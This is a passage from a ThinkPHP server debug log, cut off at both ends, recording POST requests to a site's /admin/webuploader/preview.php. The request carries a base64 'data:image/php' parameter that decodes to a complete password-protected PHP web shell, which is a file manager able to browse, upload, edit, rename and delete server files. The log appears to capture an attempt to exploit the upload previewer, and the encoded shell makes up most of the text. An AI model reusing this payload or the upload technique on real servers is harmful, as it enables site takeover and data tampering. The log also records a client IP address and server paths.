AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:21+08:00 ] 116.213.36.234 POST www.51tianwei.com/admin/webuploader/preview.php [运行时间:0.002851s] [吞吐率:350.75req/s] [内存消耗:196.35kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 